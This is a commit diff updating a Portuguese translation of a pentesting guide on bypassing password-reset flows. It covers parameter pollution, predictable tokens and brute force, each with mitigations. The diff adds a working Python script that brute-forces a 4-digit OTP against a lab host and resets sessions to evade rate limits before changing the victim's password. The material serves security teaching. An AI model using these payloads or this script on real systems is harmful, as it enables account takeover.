Translated ['src/pentesting-web/reset-password.md'] to pt

This commit is contained in:
Translator 2025-04-13 14:42:43 +00:00
parent 81c6e3bee2
commit c65b249873

View File

@ -1,4 +1,4 @@
# Bypass de Redefinição/Senha Esquecida # Bypass de Redefinição/Esquecimento de Senha
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
@ -63,7 +63,7 @@ POST /resetPassword
[...] [...]
email="victim@mail.tld",email="attacker@mail.tld" email="victim@mail.tld",email="attacker@mail.tld"
``` ```
- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON - Adicione o e-mail do atacante como segundo parâmetro na matriz JSON.
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
@ -77,7 +77,7 @@ POST /resetPassword
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Mudando o Email e a Senha de qualquer Usuário através de Parâmetros da API** ## **Mudando o Email e a Senha de Qualquer Usuário Através de Parâmetros da API**
- Os atacantes podem modificar os parâmetros de email e senha em solicitações da API para alterar as credenciais da conta. - Os atacantes podem modificar os parâmetros de email e senha em solicitações da API para alterar as credenciais da conta.
```php ```php
@ -85,7 +85,7 @@ POST /api/changepass
[...] [...]
("form": {"email":"victim@email.tld","password":"12345678"}) ("form": {"email":"victim@email.tld","password":"12345678"})
``` ```
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Garantir validação rigorosa de parâmetros e verificações de autenticação. - Garantir validação rigorosa de parâmetros e verificações de autenticação.
- Implementar registro e monitoramento robustos para detectar e responder a atividades suspeitas. - Implementar registro e monitoramento robustos para detectar e responder a atividades suspeitas.
- **Referência**: - **Referência**:
@ -94,7 +94,7 @@ POST /api/changepass
## **Sem Limitação de Taxa: Bombardeio de Email** ## **Sem Limitação de Taxa: Bombardeio de Email**
- A falta de limitação de taxa em solicitações de redefinição de senha pode levar ao bombardeio de email, sobrecarregando o usuário com emails de redefinição. - A falta de limitação de taxa em solicitações de redefinição de senha pode levar ao bombardeio de email, sobrecarregando o usuário com emails de redefinição.
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Implementar limitação de taxa com base no endereço IP ou na conta do usuário. - Implementar limitação de taxa com base no endereço IP ou na conta do usuário.
- Usar desafios CAPTCHA para prevenir abusos automatizados. - Usar desafios CAPTCHA para prevenir abusos automatizados.
- **Referências**: - **Referências**:
@ -109,27 +109,27 @@ POST /api/changepass
- Baseado no Primeiro Nome e Sobrenome - Baseado no Primeiro Nome e Sobrenome
- Baseado na Data de Nascimento - Baseado na Data de Nascimento
- Baseado em Criptografia - Baseado em Criptografia
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Usar métodos fortes e criptográficos para geração de tokens. - Usar métodos fortes e criptográficos para a geração de tokens.
- Garantir aleatoriedade e comprimento suficientes para prevenir previsibilidade. - Garantir aleatoriedade e comprimento suficientes para prevenir previsibilidade.
- **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens. - **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
## **UUID Adivinhável** ## **UUID Adivinhável**
- Se UUIDs (versão 1) são adivinháveis ou previsíveis, atacantes podem forçá-los para gerar tokens de redefinição válidos. Verifique: - Se UUIDs (versão 1) forem adivinháveis ou previsíveis, atacantes podem forçá-los a gerar tokens de redefinição válidos. Verifique:
{{#ref}} {{#ref}}
uuid-insecurities.md uuid-insecurities.md
{{#endref}} {{#endref}}
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Usar GUID versão 4 para aleatoriedade ou implementar medidas de segurança adicionais para outras versões. - Usar GUID versão 4 para aleatoriedade ou implementar medidas de segurança adicionais para outras versões.
- **Ferramentas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs. - **Ferramentas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs.
## **Manipulação de Resposta: Substituir Resposta Ruim por Boa** ## **Manipulação de Resposta: Substituir Resposta Ruim por Boa**
- Manipulando respostas HTTP para contornar mensagens de erro ou restrições. - Manipulando respostas HTTP para contornar mensagens de erro ou restrições.
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Implementar verificações do lado do servidor para garantir a integridade da resposta. - Implementar verificações do lado do servidor para garantir a integridade da resposta.
- Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle. - Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
- **Referência**: - **Referência**:
@ -138,34 +138,98 @@ uuid-insecurities.md
## **Usando Token Expirado** ## **Usando Token Expirado**
- Testando se tokens expirados ainda podem ser usados para redefinição de senha. - Testando se tokens expirados ainda podem ser usados para redefinição de senha.
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Implementar políticas rigorosas de expiração de tokens e validar a expiração do token no lado do servidor. - Implementar políticas rigorosas de expiração de tokens e validar a expiração do token no lado do servidor.
## **Força Bruta do Token de Redefinição de Senha** ## **Força Bruta do Token de Redefinição de Senha**
- Tentando forçar o token de redefinição usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP. - Tentando forçar o token de redefinição usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP.
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Implementar mecanismos robustos de limitação de taxa e bloqueio de conta. - Implementar mecanismos robustos de limitação de taxa e bloqueio de conta.
- Monitorar atividades suspeitas indicativas de ataques de força bruta. - Monitorar atividades suspeitas indicativas de ataques de força bruta.
## **Tente Usar Seu Token** ## **Tente Usar Seu Token**
- Testando se o token de redefinição de um atacante pode ser usado em conjunto com o email da vítima. - Testando se o token de redefinição do atacante pode ser usado em conjunto com o email da vítima.
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Garantir que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário. - Garantir que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário.
## **Invalidar Sessão em Logout/Redefinição de Senha** ## **Invalidar Sessão em Logout/Redefinição de Senha**
- Garantir que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha. - Garantindo que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha.
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Implementar gerenciamento adequado de sessões, garantindo que todas as sessões sejam invalidadas ao fazer logout ou redefinir a senha. - Implementar gerenciamento adequado de sessões, garantindo que todas as sessões sejam invalidadas ao fazer logout ou redefinir a senha.
## **Invalidar Sessão em Logout/Redefinição de Senha** ## **Invalidar Sessão em Logout/Redefinição de Senha**
- Tokens de redefinição devem ter um tempo de expiração após o qual se tornam inválidos. - Tokens de redefinição devem ter um tempo de expiração após o qual se tornam inválidos.
- **Passos de Mitigação**: - **Etapas de Mitigação**:
- Definir um tempo de expiração razoável para tokens de redefinição e aplicá-lo rigorosamente no lado do servidor. - Definir um tempo de expiração razoável para tokens de redefinição e aplicá-lo rigorosamente no lado do servidor.
## **Contornar Limite de Taxa de OTP Mudando Sua Sessão**
- Se o site estiver usando a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos), então podemos efetivamente forçar o OTP.
- **exploração**:
- basta solicitar um novo token de sessão após ser bloqueado pelo servidor.
- **Exemplo** de código que explora esse bug adivinhando aleatoriamente o OTP (quando você muda a sessão, o OTP também mudará, e assim não poderemos forçar sequencialmente!):
``` python
# Bypass de autenticação por redefinição de senha
# por coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Iniciando ataque!")
sleep(3)
print("[+] Isso pode levar cerca de 5 minutos para terminar!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # número aleatório de 0 - 9999 com 4 d
parms["s"] = 164 # não importante, só afeta o frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # seguir número de tentativas
out = requests.get(logout,headers=headers) # faz logout
mainp = requests.get(root) # obtém outro phpssid (token)
cookies = out.cookies # extrai o sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # atualiza os headers com nova sessão
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envia o email para mudar a senha
ter = 0 # reinicia ter para obter uma nova sessão após 8 tentativas
else:
ter += 1
if(len(res.text) == 2292): # este é o comprimento da página quando você obtém o código de recuperação corretamente (obtido por teste)
print(len(res.text)) # para informações de depuração
print(phpsessid)
reset_data = { # aqui mudaremos a senha para algo novo
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] A senha foi alterada para:D37djkamd!")
break
except Exception as e:
print("[+] Ataque interrompido")
```
## Referências ## Referências
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)